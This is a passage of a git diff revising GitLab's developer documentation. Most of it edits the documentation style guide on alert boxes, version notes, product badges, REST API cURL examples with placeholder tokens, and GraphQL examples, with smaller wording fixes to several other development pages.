**{admin}** ). - Don't: Click the Admin Area icon (the wrench icon). ## Alert boxes -Whenever you need to call special attention to particular sentences, -use the following markup for highlighting. +When you need to call special attention to particular sentences, use the +following markup to create highlighted alert boxes. Note that the alert boxes only work for one paragraph only. Multiple paragraphs, -lists, headers and so on, will not render correctly. For multiple lines, use [blockquotes](#blockquotes) instead. +lists, headers and so on, will not render correctly. For multiple lines, use +[blockquotes](#blockquotes) instead. -Alert boxes only render on the GitLab Docs site (<https://docs.gitlab.com>). +Alert boxes render only on the GitLab documentation site (<https://docs.gitlab.com>). Within GitLab itself, they will appear as plain Markdown text (like the examples above the rendered versions, below). +These alert boxes are used in the GitLab documentation. These aren't strict +guidelines, but for consistency you should try to use these values: + +| Color | Markup | Default keyword | Alternative keywords | +|--------|------------|-----------------|----------------------------------------------------------------------| +| Blue | `NOTE:` | `**Note:**` | | +| Yellow | `CAUTION:` | `**Caution:**` | `**Warning:**`, `**Important:**` | +| Red | `DANGER:` | `**Danger:**` | `**Warning:**`, `**Important:**`, `**Deprecated:**`, `**Required:**` | +| Green | `TIP:` | `**Tip:**` | | + ### Note Notes catch the eye of most readers, and therefore should be used very sparingly. In most cases, content considered for a note should be included: -- As just another sentence in the previous paragraph or the most-relevant paragraph. +- As just another sentence in the previous paragraph or the most-relevant + paragraph. - As its own standalone paragraph. -- As content under a new subheading that introduces the topic, making it more visible/findable. +- As content under a new subheading that introduces the topic, making it more + visible or findable. #### When to use Use a note when there is a reason that most or all readers who browse the -section should see the content. That is, if missed, it’s likely to cause -major trouble for a minority of users or significant trouble for a majority -of users. +section should see the content. That is, if missed, it’s likely to cause major +trouble for a minority of users or significant trouble for a majority of users. Weigh the costs of distracting users to whom the content is not relevant against the cost of users missing the content if it were not expressed as a note. @@ -1319,7 +1467,7 @@ NOTE: **Note:** This is something to note. ``` -How it renders on the GitLab Docs site: +How it renders on the GitLab documentation site: NOTE: **Note:** This is something to note. @@ -1331,7 +1479,7 @@ TIP: **Tip:** This is a tip. ``` -How it renders on the GitLab Docs site: +How it renders on the GitLab documentation site: TIP: **Tip:** This is a tip. @@ -1343,7 +1491,7 @@ CAUTION: **Caution:** This is something to be cautious about. ``` -How it renders on the GitLab Docs site: +How it renders on the GitLab documentation site: CAUTION: **Caution:** This is something to be cautious about. @@ -1355,7 +1503,7 @@ DANGER: **Danger:** This is a breaking change, a bug, or something very important to note. ``` -How it renders on the GitLab Docs site: +How it renders on the GitLab documentation site: DANGER: **Danger:** This is a breaking change, a bug, or something very important to note. @@ -1368,7 +1516,7 @@ For highlighting a text within a blue blockquote, use this format: > This is a blockquote. ``` -which renders on the [GitLab Docs site](https://docs.gitlab.com) as: +which renders on the [GitLab documentation site](https://docs.gitlab.com) as: > This is a blockquote. @@ -1396,19 +1544,22 @@ Which renders to: ## Terms -To maintain consistency through GitLab documentation, the following guides documentation authors -on agreed styles and usage of terms. +To maintain consistency through GitLab documentation, the following guides +documentation authors on agreed styles and usage of terms. ### Merge requests (MRs) -Merge requests allow you to exchange changes you made to source code and collaborate -with other people on the same project. You'll see this term used in the following ways: +Merge requests allow you to exchange changes you made to source code and +collaborate with other people on the same project. You'll see this term used in +the following ways: -- Use lowercase **merge requests** regardless of whether referring to the feature or individual merge requests. +- Use lowercase *merge requests* regardless of whether referring to the feature + or individual merge requests. As noted in the GitLab [Writing Style Guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines), if you use the **MR** acronym, expand it at least once per document page. -Typically, the first use would be phrased as _merge request (MR)_ with subsequent instances being _MR_. +Typically, the first use would be phrased as _merge request (MR)_ with subsequent +instances being _MR_. Examples: @@ -1418,14 +1569,18 @@ Examples: ### Describe UI elements -The following are styles to follow when describing UI elements on a screen: +The following are styles to follow when describing user interface elements in an +application: -- For elements with a visible label, use that label in bold with matching case. For example, `the **Cancel** button`. -- For elements with a tooltip or hover label, use that label in bold with matching case. For example, `the **Add status emoji** button`. +- For elements with a visible label, use that label in bold with matching case. + For example, `the **Cancel** button`. +- For elements with a tooltip or hover label, use that label in bold with + matching case. For example, `the **Add status emoji** button`. ### Verbs for UI elements -The following are recommended verbs for specific uses with UI elements: +The following are recommended verbs for specific uses with user interface +elements: | Recommended | Used for | Replaces | |:--------------------|:---------------------------|:---------------------------| @@ -1447,22 +1602,26 @@ Tagged and released versions of GitLab documentation are available: - In the [documentation archives](https://docs.gitlab.com/archives/). - At the `/help` URL for any GitLab installation. -The version introducing a new feature is added to the top of the topic in the documentation to provide -a helpful link back to how the feature was developed. +The version introducing a new feature is added to the top of the topic in the +documentation to provide a link back to how the feature was developed. TIP: **Tip:** -Whenever you have documentation related to the `gitlab.rb` file, you're working with a self-managed installation. -The section or page is therefore likely to apply only to self-managed instances. -If so, the relevant "`TIER` ONLY" [Product badge](#product-badges) should be included at the highest applicable heading level. +Whenever you have documentation related to the `gitlab.rb` file, you're working +with a self-managed installation. The section or page is therefore likely to +apply only to self-managed instances. If so, the relevant "`TIER` ONLY" +[Product badge](#product-badges) should be included at the highest applicable +heading level. ### Text for documentation requiring version text -- For features that need to declare the GitLab version that the feature was introduced. Text similar - to the following should be added immediately below the heading as a blockquote: +- For features that need to declare the GitLab version that the feature was + introduced. Text similar to the following should be added immediately below + the heading as a blockquote: - `> Introduced in GitLab 11.3.`. -- Whenever possible, version text should have a link to the _completed_ issue, merge request, or epic that introduced the feature. - An issue is preferred over a merge request, and a merge request is preferred over an epic. For example: +- Whenever possible, version text should have a link to the _completed_ issue, + merge request, or epic that introduced the feature. An issue is preferred over + a merge request, and a merge request is preferred over an epic. For example: - `> [Introduced](<link-to-issue>) in GitLab 11.3.`. - If the feature is only available in GitLab Enterprise Edition, mention @@ -1470,8 +1629,8 @@ If so, the relevant "`TIER` ONLY" [Product badge](#product-badges) should be inc the feature is available in: - `> [Introduced](<link-to-issue>) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3.`. -- If listing information for multiple version as a feature evolves, add the information to a - block-quoted bullet list. For example: +- If listing information for multiple version as a feature evolves, add the + information to a block-quoted bullet list. For example: ```markdown > - [Introduced](<link-to-issue>) in GitLab 11.3. @@ -1492,25 +1651,28 @@ If so, the relevant "`TIER` ONLY" [Product badge](#product-badges) should be inc > - [Deprecated](<link-to-issue>) in GitLab 11.3. Replaced by [meaningful text](<link-to-appropriate-documentation>). ``` - It's also acceptable to describe the replacement in surrounding text, if available. + It's also acceptable to describe the replacement in surrounding text, if + available. - If the deprecation is not obvious in existing text, you may want to include a warning such as: + If the deprecation is not obvious in existing text, you may want to include a + warning such as: ```markdown - CAUTION: **Warning:** + DANGER: **Deprecated:** This feature was [deprecated](link-to-issue) in GitLab 12.3 and replaced by [Feature name](link-to-feature-documentation). ``` NOTE: **Note:** -Version text must be on its own line and surrounded by blank lines to render correctly. +Version text must be on its own line and surrounded by blank lines to render +correctly. ### Versions in the past or future When describing functionality available in past or future versions, use: -- **Earlier**, and not **older** or **before**. -- **Later**, and not **newer** or **after**. +- *Earlier*, and not *older* or *before*. +- *Later*, and not *newer* or *after*. For example: @@ -1522,33 +1684,34 @@ For example: ### Importance of referencing GitLab versions and tiers Mentioning GitLab versions and tiers is important to all users and contributors -to quickly have access to the issue or merge request that -introduced the change for reference. Also, they can easily understand what -features they have in their GitLab instance and version, given that the note has -some key information. +to quickly have access to the issue or merge request that introduced the change +for reference. Also, they can easily understand what features they have in their +GitLab instance and version, given that the note has some key information. `[Introduced](link-to-issue) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.7` links to the issue that introduced the feature, says which GitLab tier it belongs to, says the GitLab version that it became available in, and links to -the pricing page in case the user wants to upgrade to a paid tier -to use that feature. +the pricing page in case the user wants to upgrade to a paid tier to use that +feature. -For example, if you're a regular user and you're looking at the docs for a feature you haven't used before, -you can immediately see if that feature is available to you or not. Alternatively, -if you've been using a certain feature for a long time and it changed in some way, -it's important -to be able to spot when it changed and what's new in that feature. +For example, if you're a regular user and you're looking at the documentation +for a feature you haven't used before, you can immediately see if that feature +is available to you or not. Alternatively, if you've been using a certain +feature for a long time and it changed in some way, it's important to be able to +determine when it changed and what's new in that feature. -This is even more important as we don't have a perfect process for shipping docs. -Unfortunately, we still see features without docs and docs without -features. So, for now, we cannot rely 100% on the docs site versions. +This is even more important as we don't have a perfect process for shipping +documentation. Unfortunately, we still see features without documentation, and +documentation without features. So, for now, we cannot rely 100% on the +documentation site versions. Over time, version text will reference a progressively older version of GitLab. In cases where version text refers to versions of GitLab four or more major versions back, you can consider removing the text if it's irrelevant or confusing. -For example, if the current major version is 12.x, version text referencing versions of GitLab 8.x -and older are candidates for removal if necessary for clearer or cleaner docs. +For example, if the current major version is 12.x, version text referencing +versions of GitLab 8.x and older are candidates for removal if necessary for +clearer or cleaner documentation. ## Products and features @@ -1598,21 +1761,21 @@ header or other page element according to the feature's availability: | *Only* GitLab.com Silver and higher tiers (no self-managed instances) | `**(SILVER ONLY)**` | | *Only* GitLab.com Gold (no self-managed instances) | `**(GOLD ONLY)**` | -For clarity, all page title headers (H1s) must be have a tier markup for -the lowest tier that has information on the documentation page. +For clarity, all page title headers (H1s) must be have a tier markup for the +lowest tier that has information on the documentation page. If sections of a page apply to higher tier levels, they can be separately labeled with their own tier markup. #### Product badge display behavior -When using the tier markup with headers, the documentation page will -display the full tier badge with the header line. +When using the tier markup with headers, the documentation page will display the +full tier badge with the header line. -You can also use the tier markup with paragraphs, list items, -and table cells. For these cases, the tier mention will be represented by an -orange info icon **{information}** that will display the tiers when visitors -point to the icon. For example: +You can also use the tier markup with paragraphs, list items, and table cells. +For these cases, the tier mention will be represented by an orange info icon +**{information}** that will display the tiers when visitors point to the icon. +For example: - `**(STARTER)**` displays as **(STARTER)** - `**(STARTER ONLY)**` displays as **(STARTER ONLY)** @@ -1623,16 +1786,17 @@ point to the icon. For example: Introduced by [!244](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/244), the special markup `**(STARTER)**` will generate a `span` element to trigger the badges and tooltips (`<span class="badge-trigger starter">`). When the keyword -"only" is added, the corresponding GitLab.com badge will not be displayed. +*only* is added, the corresponding GitLab.com badge will not be displayed. ## Specific sections -Certain styles should be applied to specific sections. Styles for specific sections are outlined below. +Certain styles should be applied to specific sections. Styles for specific +sections are outlined below. ### GitLab restart -There are many cases that a restart/reconfigure of GitLab is required. To -avoid duplication, link to the special document that can be found in +There are many cases that a restart/reconfigure of GitLab is required. To avoid +duplication, link to the special document that can be found in [`doc/administration/restart_gitlab.md`](../../administration/restart_gitlab.md). Usually the text will read like: @@ -1643,8 +1807,8 @@ for the changes to take effect. If the document you are editing resides in a place other than the GitLab CE/EE `doc/` directory, instead of the relative link, use the full path: -`https://docs.gitlab.com/ce/administration/restart_gitlab.html`. -Replace `reconfigure` with `restart` where appropriate. +`https://docs.gitlab.com/ce/administration/restart_gitlab.html`. Replace +`reconfigure` with `restart` where appropriate. ### Installation guide @@ -1652,8 +1816,8 @@ Replace `reconfigure` with `restart` where appropriate. In [step 2 of the installation guide](../../install/installation.md#2-ruby), we install Ruby from source. Whenever there is a new version that needs to be updated, remember to change it throughout the codeblock and also replace -the sha256sum (it can be found in the [downloads page](https://www.ruby-lang.org/en/downloads/) of the Ruby -website). +the sha256sum (it can be found in the [downloads page](https://www.ruby-lang.org/en/downloads/) +of the Ruby website). ### Configuration documentation for source and Omnibus installations @@ -1661,7 +1825,7 @@ GitLab currently officially supports two installation methods: installations from source and Omnibus packages installations. Whenever there is a setting that is configurable for both installation methods, -prefer to document it in the CE docs to avoid duplication. +prefer to document it in the CE documentation to avoid duplication. Configuration settings include: @@ -1681,7 +1845,8 @@ the style below as a guide: external_url "https://gitlab.example.com" ``` -1. Save the file and [reconfigure](path/to/administration/restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab for the changes to take effect. +1. Save the file and [reconfigure](path/to/administration/restart_gitlab.md#omnibus-gitlab-reconfigure) + GitLab for the changes to take effect. --- @@ -1694,18 +1859,20 @@ the style below as a guide: host: "gitlab.example.com" ``` -1. Save the file and [restart](path/to/administration/restart_gitlab.md#installations-from-source) GitLab for the changes to take effect. +1. Save the file and [restart](path/to/administration/restart_gitlab.md#installations-from-source) + GitLab for the changes to take effect. ```` In this case: - Before each step list the installation method is declared in bold. -- Three dashes (`---`) are used to create a horizontal line and separate the - two methods. +- Three dashes (`---`) are used to create a horizontal line and separate the two + methods. - The code blocks are indented one or more spaces under the list item to render correctly. - Different highlighting languages are used for each config in the code block. -- The [GitLab Restart](#gitlab-restart) section is used to explain a required restart/reconfigure of GitLab. +- The [GitLab Restart](#gitlab-restart) section is used to explain a required + restart or reconfigure of GitLab. ### Troubleshooting @@ -1717,19 +1884,30 @@ can facilitate this by making sure the troubleshooting content addresses: 1. How the user can confirm they have the problem. 1. Steps the user can take towards resolution of the problem. -If the contents of each category can be summarized in one line and a list of steps aren't required, consider setting up a -[table](#tables) with headers of *Problem* \| *Cause* \| *Solution* (or *Workaround* if the fix is temporary), or *Error message* \| *Solution*. +If the contents of each category can be summarized in one line and a list of +steps aren't required, consider setting up a [table](#tables) with headers of +*Problem* \| *Cause* \| *Solution* (or *Workaround* if the fix is temporary), or +*Error message* \| *Solution*. ## Feature flags -Learn how to [document features deployed behind flags](feature_flags.md). -For guidance on developing GitLab with feature flags, see -[Feature flags in development of GitLab](../feature_flags/index.md). +Learn how to [document features deployed behind flags](feature_flags.md). For +guidance on developing GitLab with feature flags, see [Feature flags in development of GitLab](../feature_flags/index.md). ## RESTful API -Here is a list of must-have items for RESTful API documentation. Use them in the -exact order that appears on this document. Further explanation is given below. +REST API resources are documented in Markdown under +[`/doc/api`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc/api). Each +resource has its own Markdown file, which is linked from `api_resources.md`. + +When modifying the Markdown, also update the corresponding +[OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/-/tree/master/doc/api/openapi) +if one exists for the resource. If not, consider creating one. Match the latest +[OpenAPI 3.0.x specification](https://swagger.io/specification/). (For more +information, see the discussion in this +[issue](https://gitlab.com/gitlab-org/gitlab/-/issues/16023#note_370901810).) + +In the Markdown doc for a resource (AKA endpoint): - Every method must have the REST API request. For example: @@ -1737,8 +1915,7 @@ exact order that appears on this document. Further explanation is given below. GET /projects/:id/repository/branches ``` -- Every method must have a detailed - [description of the parameters](#method-description). +- Every method must have a detailed [description of the parameters](#method-description). - Every method must have a cURL example. - Every method must have a response body (in JSON format). @@ -1763,7 +1940,7 @@ METHOD /endpoint Example request: ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" 'https://gitlab.example.com/api/v4/endpoint?parameters' +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/endpoint?parameters" ``` Example response: @@ -1782,8 +1959,9 @@ You may need to demonstrate an API call or a cURL command that includes the name and email address of a user. Don't use real user information in API calls: - **Email addresses**: Use an email address ending in `example.com`. -- **Names**: Use strings like `Example Username`. Alternatively, use diverse or non-gendered names with - common surnames, such as `Sidney Jones`, `Zhang Wei`. or `Maria Garcia`. +- **Names**: Use strings like `Example Username`. Alternatively, use diverse or + non-gendered names with common surnames, such as `Sidney Jones`, `Zhang Wei`, + or `Maria Garcia`. ### Fake URLs @@ -1795,11 +1973,10 @@ When including sample URLs in the documentation, use: ### Fake tokens There may be times where a token is needed to demonstrate an API call using -cURL or a variable used in CI. It is strongly advised not to use real -tokens in documentation even if the probability of a token being exploited is -low. +cURL or a variable used in CI. It is strongly advised not to use real tokens in +documentation even if the probability of a token being exploited is low. -You can use the following fake tokens as examples. +You can use the following fake tokens as examples: | Token type | Token value | |:----------------------|:-------------------------------------------------------------------| @@ -1808,8 +1985,8 @@ You can use the following fake tokens as examples. | Application ID | `2fcb195768c39e9a94cec2c2e32c59c0aad7a3365c10892e8116b5d83d4096b6` | | Application secret | `04f294d1eaca42b8692017b426d53bbc8fe75f827734f0260710b83a556082df` | | CI/CD variable | `Li8j-mLUVA3eZYjPfd_H` | -| Specific Runner token | `yrnZW46BrtBFqM7xDzE7dddd` | -| Shared Runner token | `6Vk7ZsosqQyfreAxXTZr` | +| Specific runner token | `yrnZW46BrtBFqM7xDzE7dddd` | +| Shared runner token | `6Vk7ZsosqQyfreAxXTZr` | | Trigger token | `be20d8dcc028677c931e04f3871a9b` | | Webhook secret token | `6XhDroRcYPM5by_h-HLY` | | Health check token | `Tu7BgjR9qeZTEyRzGG2P` | @@ -1850,14 +2027,15 @@ Rendered example: ### cURL Examples -Below is a set of [cURL](https://curl.haxx.se) examples that you can use in the API documentation. +The following sections include a set of [cURL](https://curl.haxx.se) examples +you can use in the API documentation. #### Simple cURL command Get the details of a group: ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/groups/gitlab-org +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/gitlab-org" ``` #### cURL example with parameters passed in the URL @@ -1870,9 +2048,9 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla #### Post data using cURL's `--data` -Instead of using `--request POST` and appending the parameters to the URI, you can use -cURL's `--data` option. The example below will create a new project `foo` under -the authenticated user's namespace. +Instead of using `--request POST` and appending the parameters to the URI, you +can use cURL's `--data` option. The example below will create a new project +`foo` under the authenticated user's namespace. ```shell curl --data "name=foo" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects" @@ -1881,11 +2059,11 @@ curl --data "name=foo" --header "PRIVATE-TOKEN: <your_access_token>" "https://gi #### Post data using JSON content NOTE: **Note:** -In this example we create a new group. Watch carefully the single -and double quotes. +In this example we create a new group. Watch carefully the single and double +quotes. ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"path": "my-group", "name": "My group"}' https://gitlab.example.com/api/v4/groups +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"path": "my-group", "name": "My group"}' "https://gitlab.example.com/api/v4/groups" ``` #### Post data using form-data @@ -1894,7 +2072,7 @@ Instead of using JSON or urlencode you can use multipart/form-data which properly handles data encoding: ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "title=ssh-key" --form "key=ssh-rsa AAAAB3NzaC1yc2EA..." https://gitlab.example.com/api/v4/users/25/keys +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "title=ssh-key" --form "key=ssh-rsa AAAAB3NzaC1yc2EA..." "https://gitlab.example.com/api/v4/users/25/keys" ``` The above example is run by and administrator and will add an SSH public key @@ -1916,41 +2094,47 @@ Use `%2F` for slashes (`/`). #### Pass arrays to API calls The GitLab API sometimes accepts arrays of strings or integers. For example, to -exclude specific users when requesting a list of users for a project, you would do something like this: +exclude specific users when requesting a list of users for a project, you would +do something like this: ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "skip_users[]=<user_id>" --data "skip_users[]=<user_id>" https://gitlab.example.com/api/v4/projects/<project_id>/users +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "skip_users[]=<user_id>" --data "skip_users[]=<user_id>" "https://gitlab.example.com/api/v4/projects/<project_id>/users" ``` ## GraphQL API -GraphQL APIs are different from [RESTful APIs](#restful-api). Reference information is -generated automatically in our [GraphQL reference](../../api/graphql/reference/index.md). +GraphQL APIs are different from [RESTful APIs](#restful-api). Reference +information is generated in our [GraphQL reference](../../api/graphql/reference/index.md). -However, it's helpful to include examples on how to use GraphQL for different "use cases", -with samples that readers can use directly in the [GraphiQL explorer](../api_graphql_styleguide.md#graphiql). +However, it's helpful to include examples on how to use GraphQL for different +*use cases*, with samples that readers can use directly in the +[GraphiQL explorer](../api_graphql_styleguide.md#graphiql). -This section describes the steps required to add your GraphQL examples to GitLab documentation. +This section describes the steps required to add your GraphQL examples to +GitLab documentation. ### Add a dedicated GraphQL page -To create a dedicated GraphQL page, create a new `.md` file in the `doc/api/graphql/` directory. -Give that file a functional name, such as `import_from_specific_location.md`. +To create a dedicated GraphQL page, create a new `.md` file in the +`doc/api/graphql/` directory. Give that file a functional name, such as +`import_from_specific_location.md`. ### Start the page with an explanation -Include a page title that describes the GraphQL functionality in a few words, such as: +Include a page title that describes the GraphQL functionality in a few words, +such as: ```markdown # Search for [substitute kind of data] ``` -Describe the search. One sentence may be all you need. More information may help -readers learn how to use the example for their GitLab deployments. +Describe the search. One sentence may be all you need. More information may +help readers learn how to use the example for their GitLab deployments. ### Include a procedure using the GraphiQL explorer -The GraphiQL explorer can help readers test queries with working deployments. Set up the section with the following: +The GraphiQL explorer can help readers test queries with working deployments. +Set up the section with the following: - Use the following title: @@ -1958,8 +2142,8 @@ The GraphiQL explorer can help readers test queries with working deployments. Se ## Set up the GraphiQL explorer ``` -- Include a code block with the query that anyone can include in their instance of - the GraphiQL explorer: +- Include a code block with the query that anyone can include in their + instance of the GraphiQL explorer: ````markdown ```graphql @@ -1979,22 +2163,23 @@ The GraphiQL explorer can help readers test queries with working deployments. Se - Include a screenshot of the result in the GraphiQL explorer. Follow the naming convention described in the [Save the image](#save-the-image) section. -- Follow up with an example of what you can do with the output. - Make sure the example is something that readers can do on their own deployments. +- Follow up with an example of what you can do with the output. Make sure the + example is something that readers can do on their own deployments. - Include a link to the [GraphQL API resources](../../api/graphql/reference/index.md). ### Add the GraphQL example to the Table of Contents -You'll need to open a second MR, against the [GitLab Docs repository](https://gitlab.com/gitlab-org/gitlab-docs/). +You'll need to open a second MR, against the [GitLab documentation repository](https://gitlab.com/gitlab-org/gitlab-docs/). -We store our Table of Contents in the `default-nav.yaml` file, in the `content/_data` -subdirectory. You can find the GraphQL section under the following line: +We store our Table of Contents in the `default-nav.yaml` file, in the +`content/_data` subdirectory. You can find the GraphQL section under the +following line: ```yaml - - category_title: GraphQL +- category_title: GraphQL ``` -Be aware that CI tests for that second MR will fail with a bad link until the main MR -that adds the new GraphQL page is merged. +Be aware that CI tests for that second MR will fail with a bad link until the +main MR that adds the new GraphQL page is merged. And that's all you need! diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md index c3e15cb1b2b..488c71a6328 100644 --- a/doc/development/documentation/workflow.md +++ b/doc/development/documentation/workflow.md @@ -29,7 +29,7 @@ is added or updated. The following are added by the issue or merge request autho The following are also added by members of the Technical Writing team: -- A documentation [scoped label](../../user/project/labels.md#scoped-labels-premium) with the +- A documentation [scoped label](../../user/project/labels.md#scoped-labels) with the `docs::` prefix. For example, `~docs::improvement`. - The `~Technical Writing` [team label](../contributing/issue_workflow.md#team-labels). diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md index e7954fa910b..01f9d9b16fb 100644 --- a/doc/development/ee_features.md +++ b/doc/development/ee_features.md @@ -26,6 +26,16 @@ setting the [`FOSS_ONLY` environment variable](https://gitlab.com/gitlab-org/git to something that evaluates as `true`. The same works for running tests (for example `FOSS_ONLY=1 yarn jest`). +## CI pipelines in a FOSS context + +By default, merge request pipelines for development run in an EE-context only. If you are +developing features that differ between FOSS and EE, you may wish to run pipelines in a +FOSS context as well. + +To run pipelines in both contexts, include `RUN AS-IF-FOSS` in the merge request title. + +See the [As-if-FOSS jobs](pipelines.md#as-if-foss-jobs) pipelines documentation for more information. + ## Separation of EE code All EE code should be put inside the `ee/` top-level directory. The @@ -929,7 +939,7 @@ export default { - We can use slots and/or scoped slots to achieve the same thing as we did with mixins. If you only need an EE component there is no need to create the CE component. -1. First, we have a CE component that can render a slot incase we need EE template and functionality to be decorated on top of the CE base. +1. First, we have a CE component that can render a slot in case we need EE template and functionality to be decorated on top of the CE base. ```vue // ./ce/my_component.vue @@ -1030,7 +1040,7 @@ separate SCSS file in an appropriate directory within `app/assets/stylesheets`. In some cases, this is not entirely possible or creating dedicated SCSS file is an overkill, e.g. a text style of some component is different for EE. In such cases, -styles are usually kept in stylesheet that is common for both CE and EE, and it is wise +styles are usually kept in a stylesheet that is common for both CE and EE, and it is wise to isolate such ruleset from rest of CE rules (along with adding comment describing the same) to avoid conflicts during CE to EE merge. diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md index 2f01692e944..e70cf456101 100644 --- a/doc/development/elasticsearch.md +++ b/doc/development/elasticsearch.md @@ -15,6 +15,8 @@ the [Elasticsearch integration documentation](../integration/elasticsearch.md#en In June 2019, Mario de la Ossa hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on GitLab's [Elasticsearch integration](../integration/elasticsearch.md) to share his domain specific knowledge with anyone who may work in this part of the code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=vrvl-tN2EaA), and the slides on [Google Slides](https://docs.google.com/presentation/d/1H-pCzI_LNrgrL5pJAIQgvLX8Ji0-jIKOg1QeJQzChug/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/c5aa32b6b07476fa8b597004899ec538/Elasticsearch_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 12.0, and while specific details may have changed since then, it should still serve as a good introduction. +In August 2020, a second Deep Dive was hosted, focusing on [GitLab's specific architecture for multi-indices support](#zero-downtime-reindexing-with-multiple-indices). The [recording on YouTube](https://www.youtube.com/watch?v=0WdPR9oB2fg) and the [slides](https://lulalala.gitlab.io/gitlab-elasticsearch-deepdive) are available. Everything covered in this deep dive was accurate as of GitLab 13.3. + ## Supported Versions See [Version Requirements](../integration/elasticsearch.md#version-requirements). @@ -218,7 +220,7 @@ logs will also include the time spent on Database and Gitaly requests, which may help to diagnose which part of the search is performing poorly. There are additional logs specific to Elasticsearch that are sent to -[`elasticsearch.log`](../administration/logs.md#elasticsearchlog-starter-only) +[`elasticsearch.log`](../administration/logs.md#elasticsearchlog) that may contain information to help diagnose performance issues. ### Performance Bar @@ -229,7 +231,7 @@ be used both locally in development and on any deployed GitLab instance to diagnose poor search performance. This will show the exact queries being made, which is useful to diagnose why a search might be slow. -### Correlation ID and X-Opaque-Id +### Correlation ID and `X-Opaque-Id` Our [correlation ID](./distributed_tracing.md#developer-guidelines-for-working-with-correlation-ids) diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md index b1a15c7749f..07b803603a5 100644 --- a/doc/development/experiment_guide/index.md +++ b/doc/development/experiment_guide/index.md @@ -16,7 +16,7 @@ In either case, an outcome of the experiment should be posted to the issue with ## Code reviews -Since the code of experiments will not be part of the codebase for a long time and we want to iterate fast to retrieve data,the code quality of experiments might sometimes not fulfill our standards but should not negatively impact the availability of GitLab whether the experiment is running or not. +Since the code of experiments will not be part of the codebase for a long time and we want to iterate fast to retrieve data, the code quality of experiments might sometimes not fulfill our standards but should not negatively impact the availability of GitLab whether the experiment is running or not. Initially experiments will only be deployed to a fraction of users but we still want a flawless experience for those users. Therefore, experiments still require tests. For reviewers and maintainers: if you find code that would usually not make it through the review, but is temporarily acceptable, please mention your concerns but note that it's not necessary to change. diff --git a/doc/development/fe_guide/development_process.md b/doc/development/fe_guide/development_process.md index ff36b8b5c6a..2b64534e7c9 100644 --- a/doc/development/fe_guide/development_process.md +++ b/doc/development/fe_guide/development_process.md @@ -4,7 +4,7 @@ You can find more about the organization of the frontend team in the [handbook]( ## Development Checklist -The idea is to remind us about specific topics during the time we build a new feature or start something. This is a common practice in other industries (like pilots) that also use standardised checklists to reduce problems early on. +The idea is to remind us about specific topics during the time we build a new feature or start something. This is a common practice in other industries (like pilots) that also use standardized checklists to reduce problems early on. Copy the content over to your issue or merge request and if something doesn't apply simply remove it from your current list. diff --git a/doc/development/fe_guide/frontend_faq.md b/doc/development/fe_guide/frontend_faq.md index 71436a7c7fb..0a26fdba934 100644 --- a/doc/development/fe_guide/frontend_faq.md +++ b/doc/development/fe_guide/frontend_faq.md @@ -162,7 +162,7 @@ To return to the normal development mode: 1. Open `gitlab.yaml` located in your `gitlab` installation folder, scroll down to the `webpack` section and change back `dev_server` to `enabled: true`. 1. Run `yarn clean` to remove the production assets and free some space (optional). 1. Start webpack again: `gdk start webpack`. -1. Restart GDK: `gdk-restart rails-web`. +1. Restart GDK: `gdk restart rails-web`. ### 8. Babel polyfills diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md index f5e16d377f1..82cd19dce4f 100644 --- a/doc/development/fe_guide/graphql.md +++ b/doc/development/fe_guide/graphql.md @@ -1,3 +1,10 @@ +--- +type: reference, dev +stage: none +group: Development +info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" +--- + # GraphQL ## Getting Started @@ -32,6 +39,9 @@ can help you learn how to integrate Vue Apollo. For other use cases, check out the [Usage outside of Vue](#usage-outside-of-vue) section. +We use [Immer](https://immerjs.github.io/immer/docs/introduction) for immutable cache updates; +see [Immutability and cache updates](#immutability-and-cache-updates) for more information. + ### Tooling - [Apollo Client Devtools](https://github.com/apollographql/apollo-client-devtools) @@ -131,6 +141,56 @@ fragment DesignItem on Design { More about fragments: [GraphQL Docs](https://graphql.org/learn/queries/#fragments) +## Global IDs + +GitLab's GraphQL API expresses `id` fields as Global IDs rather than the PostgreSQL +primary key `id`. Global ID is [a convention](https://graphql.org/learn/global-object-identification/) +used for caching and fetching in client-side libraries. + +To convert a Global ID to the primary key `id`, you can use `getIdFromGraphQLId`: + +```javascript +import { getIdFromGraphQLId } from '~/graphql_shared/utils'; + +const primaryKeyId = getIdFromGraphQLId(data.id); +``` + +## Immutability and cache updates + +From Apollo version 3.0.0 all the cache updates need to be immutable; it needs to be replaced entirely +with a **new and updated** object. + +To facilitate the process of updating the cache and returning the new object we use the library [Immer](https://immerjs.github.io/immer/docs/introduction). +When possible, follow these conventions: + +- The updated cache is named `data`. +- The original cache data is named `sourceData`. + +A typical update process looks like this: + +```javascript +... +const sourceData = 